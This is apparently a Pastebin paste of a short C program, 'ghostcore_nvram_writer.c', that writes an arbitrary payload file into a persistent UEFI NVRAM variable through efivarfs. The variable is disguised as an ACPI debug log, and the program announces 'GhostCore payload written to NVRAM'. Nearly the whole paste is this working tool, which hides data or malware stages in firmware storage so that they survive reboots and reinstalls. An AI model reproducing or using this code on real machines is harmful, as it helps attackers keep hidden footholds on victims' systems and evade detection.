Advertisement
xosski

Ghost Memory cram writer

Apr 16th, 2025
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.61 KB | None | 0 0
  1. // ghostcore_nvram_writer.c
  2.  
  3. #include <stdio.h>
  4. #include <string.h>
  5. #include <stdlib.h>
  6. #include <fcntl.h>
  7. #include <sys/stat.h>
  8. #include <unistd.h>
  9. #include <errno.h>
  10.  
  11. #define VAR_NAME "ACPI_DBG_LOG-4d1ede05-38c7-4a6a-9cc6-4bcca8b38c14"
  12. #define EFIVARS_PATH "/sys/firmware/efi/efivars/" VAR_NAME
  13.  
  14. int main(int argc, char *argv[]) {
  15. if (argc != 2) {
  16. fprintf(stderr, "Usage: %s <payload file>\n", argv[0]);
  17. return 1;
  18. }
  19.  
  20. const char *payload_path = argv[1];
  21. FILE *fp = fopen(payload_path, "rb");
  22. if (!fp) {
  23. perror("Failed to open payload file");
  24. return 1;
  25. }
  26.  
  27. // Read payload into memory
  28. fseek(fp, 0, SEEK_END);
  29. size_t fsize = ftell(fp);
  30. rewind(fp);
  31.  
  32. unsigned char *payload = malloc(fsize + 4);
  33. if (!payload) {
  34. fclose(fp);
  35. perror("Memory error");
  36. return 1;
  37. }
  38.  
  39. fread(payload + 4, 1, fsize, fp);
  40. fclose(fp);
  41.  
  42. // Attributes: 07 00 00 00 => EFI_VARIABLE_NON_VOLATILE | BOOTSERVICE_ACCESS | RUNTIME_ACCESS
  43. payload[0] = 0x07;
  44. payload[1] = 0x00;
  45. payload[2] = 0x00;
  46. payload[3] = 0x00;
  47.  
  48. // Write to efivarfs
  49. int fd = open(EFIVARS_PATH, O_WRONLY | O_CREAT, 0644);
  50. if (fd < 0) {
  51. perror("Failed to open EFI variable path (maybe run as root?)");
  52. return 1;
  53. }
  54.  
  55. if (write(fd, payload, fsize + 4) != fsize + 4) {
  56. perror("Failed to write EFI variable");
  57. close(fd);
  58. return 1;
  59. }
  60.  
  61. printf("🔥 GhostCore payload written to NVRAM as %s\n", VAR_NAME);
  62. close(fd);
  63. free(payload);
  64. return 0;
  65. }
  66.  
  67.  
Tags: GhostCore
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement